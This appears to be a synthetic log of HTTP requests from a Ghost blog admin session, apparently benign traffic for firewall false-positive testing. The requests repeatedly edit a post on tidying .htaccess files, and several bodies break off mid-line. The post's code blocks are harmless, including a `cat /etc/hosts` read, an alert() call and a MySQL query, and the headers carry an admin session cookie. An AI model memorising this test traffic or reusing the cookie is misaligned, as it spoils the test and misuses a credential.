{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45710d281b00001a598a4\"]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/themes/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 508", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpp0PMguEumdZ1a8", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"feature.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAHgAAABQCAIAAABd+SbeAAAAqElEQVR4nO3QAQkAIADAMOOYycTGsoXCHTzA2dhr6kLj+cEngQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnSrAwedWdHCzExoAAAAAElFTkSuQmCC\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8057", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "GET", "target": "/content/images/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27PowerShell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8088", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8119", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27Shell+tips+%26+.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess 